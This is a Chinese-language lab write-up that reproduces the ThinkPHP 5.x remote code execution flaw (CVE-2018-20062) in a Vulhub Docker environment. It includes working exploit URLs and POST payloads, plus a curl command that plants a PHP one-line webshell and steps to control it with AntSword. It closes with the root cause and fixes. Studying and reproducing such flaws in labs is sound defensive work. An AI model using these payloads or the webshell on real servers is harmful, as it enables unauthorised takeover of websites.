目录
[1. 漏洞概述](#1. 漏洞概述)
[2. 环境搭建](#2. 环境搭建)
[2.1 安装 Docker 与 Docker Compose](#2.1 安装 Docker 与 Docker Compose)
[2.2 部署 Vulhub 靶场](#2.2 部署 Vulhub 靶场)
[2.3 启动环境](#2.3 启动环境)
[3. 漏洞验证](#3. 漏洞验证)
[3.1 浏览器直接验证](#3.1 浏览器直接验证)
[3.2 Burp Suite 抓包改包验证](#3.2 Burp Suite 抓包改包验证)
[4. 深入利用------获取 Webshell](#4. 深入利用——获取 Webshell)
[4.1 写入一句话木马](#4.1 写入一句话木马)
[4.2 使用蚁剑连接](#4.2 使用蚁剑连接)
[5. 漏洞原理简析](#5. 漏洞原理简析)
[6. 修复建议](#6. 修复建议)
[7. 总结与收获](#7. 总结与收获)
免责声明:此文章仅供学习参考,严禁用于非法攻击。请确保你在拥有合法授权的环境中进行测试。
1. 漏洞概述
ThinkPHP 是一款流行的国产 PHP 框架。2018年12月,ThinkPHP 5.x 系列被披露存在一个高危的远程代码执行漏洞(CVE-2018-20062)。该漏洞影响 ThinkPHP 5.0.x 版本(低于 5.0.24)和 5.1.x 版本(低于 5.1.31),CVSS 3.0 评分为 9.8(严重)。
漏洞成因 :ThinkPHP 在处理请求时,对控制器名称过滤不严,攻击者可以通过精心构造的 URL 或 POST 参数,调用框架内部的 __construct 方法,进而覆盖类的属性(如 filter 和 server)。最终,在后续的输入处理中,攻击者可利用 array_walk_recursive 回调机制执行任意系统命令。
该漏洞利用简单,无需认证,影响范围广,攻击者可以轻易获取服务器权限,因此被公认为 ThinkPHP 历史上最经典的漏洞之一。
2. 环境搭建
本次复现使用一台 Ubuntu 服务器(IP 为 192.168.8.144),通过 Docker 和 Vulhub 快速搭建靶场环境。
2.1 安装 Docker 与 Docker Compose
Docker 是一个容器化平台,可以快速部署隔离的应用环境;Docker Compose 则用于定义和运行多容器应用。如果你还没有安装,可以参考以下命令,:
# 安装 Docker
curl -fsSL https://get.docker.com | bash -s docker
sudo systemctl start docker
sudo systemctl enable docker
# 安装 Docker Compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.23.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
2.2 部署 Vulhub 靶场
Vulhub 是一个基于 Docker 的开源漏洞靶场集合,集成了大量漏洞环境。
克隆 Vulhub 仓库:git clone https://github.com/vulhub/vulhub.git
进入 ThinkPHP 漏洞目录:cd vulhub/thinkphp/5.0.23-rce
# 克隆 Vulhub 仓库
git clone https://github.com/vulhub/vulhub.git
# 进入 ThinkPHP 5.0.23 RCE 漏洞目录
cd vulhub/thinkphp/5.0.23-rce
2.3 启动环境
执行以下命令启动容器(第一次运行会自动拉取镜像,可能需要几分钟):
docker-compose up -d
容器启动后,查看运行状态:
docker-compose ps
现在在浏览器中访问 http://192.168.8.144:8080,如果看到 ThinkPHP 的欢迎页面,说明环境搭建成功。

3. 漏洞验证
我们通过两种方式验证漏洞的存在:浏览器直接访问和 Burp Suite 抓包改包。
3.1 浏览器直接验证
ThinkPHP 5.0.23 的漏洞利用 URL 中需要包含反斜杠 \,但在 URL 中反斜杠是特殊字符,需要编码为 %5c,否则浏览器可能无法正确解析。因此我们提供两种形式的 URL,推荐使用编码后的版本。
编码后的利用 URL:
http://192.168.8.144:8080/index.php?s=index/think%5capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在浏览器地址栏输入上述 URL 并回车,如果页面返回当前系统用户名(如 www-data),则证明漏洞存在。

3.2 Burp Suite 抓包改包验证
Burp Suite 是一款强大的 Web 安全测试工具,可以拦截、修改和重放 HTTP 请求。
步骤1:配置代理并拦截
-
打开 Burp Suite,进入 Proxy → Options ,确认监听地址为
127.0.0.1:8080。 -
配置浏览器代理指向 Burp(例如在 Chrome 中设置代理为
127.0.0.1:8080)。 -
在 Burp 的 Proxy → Intercept 中,确保 Intercept is on。
-
在浏览器中访问
http://192.168.8.144:8080/index.php?s=captcha,此时 Burp 会拦截到原始的 GET 请求。

步骤2:修改请求包
我们需要将 GET 请求改为 POST,并添加恶意 payload。修改后的请求如下:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.8.144:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

4. 深入利用------获取 Webshell
为了持久化控制,我们可以写入一个简单的一句话木马,然后用蚁剑连接。
4.1 写入一句话木马
在 POST 请求中将 whoami 替换为写入文件的命令。由于命令中包含单引号和特殊字符,直接拼接容易出错,我们采用 base64 编码的方式避免引号问题。
首先生成一句话木马的 base64 编码:
echo -n '<?php @eval($_POST[cmd]); ?>' | base64
输出结果为 PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==。然后构造写入命令(注意目标路径为 /var/www/public,这是通过之前 pwd 确认的):
curl -X POST 'http://192.168.8.144:8080/index.php?s=captcha' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOyA/Pg==" | base64 -d > /var/www/public/shell.php'
验证文件是否写入成功:
curl http://192.168.8.144:8080/shell.php

4.2 使用蚁剑连接
蚁剑(AntSword)是一款开源的跨平台网站管理工具,支持多种编码器和插件。
-
打开蚁剑,在左侧空白处右键选择「添加数据」。
-
填写以下信息:
-
URL 地址 :
http://192.168.8.144:8080/shell.php -
连接密码 :
cmd -
编码器选择
default(其他选项保持默认)。
-
-
点击「测试连接」,如果提示「连接成功」,则点击「添加」保存。

保存后双击新加的 shell 节点,即可进入文件管理界面,看到网站目录结构,并可在虚拟终端中执行命令。

至此,我们不仅验证了漏洞,还获得了服务器的实际控制权。
5. 漏洞原理简析
该漏洞的核心在于 ThinkPHP 5 的 Request 类对 _method 参数的处理。在 method 方法中,如果 POST 参数中存在配置项 var_method(默认值为 _method),则调用 $this->{$this->method}($_POST)。攻击者传入 _method=__construct 后,会触发 __construct 方法。
而 __construct 方法允许通过传入的数组覆盖类的任意属性(如 filter 和 server):
public function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
}
攻击者可以将 filter 设置为 system,将 server 设置为要执行的命令。后续在 input 方法中,框架会对输入值使用 filter 中的函数进行过滤(通过 array_walk_recursive),从而导致任意函数执行。
官方修复方式是在获取控制器名后增加正则校验,防止调用内部方法。
6. 修复建议
-
升级版本:立即将 ThinkPHP 升级到 5.0.24+ 或 5.1.31+,官方已修复此漏洞。
-
开启强制路由:在应用配置中开启强制路由模式,避免直接通过 URL 调用控制器。
-
部署 WAF :使用 Web 应用防火墙拦截恶意参数,如
_method=__construct、filter[]=等。 -
限制文件写入权限:降低 Web 目录的写入权限,防止攻击者上传 webshell。


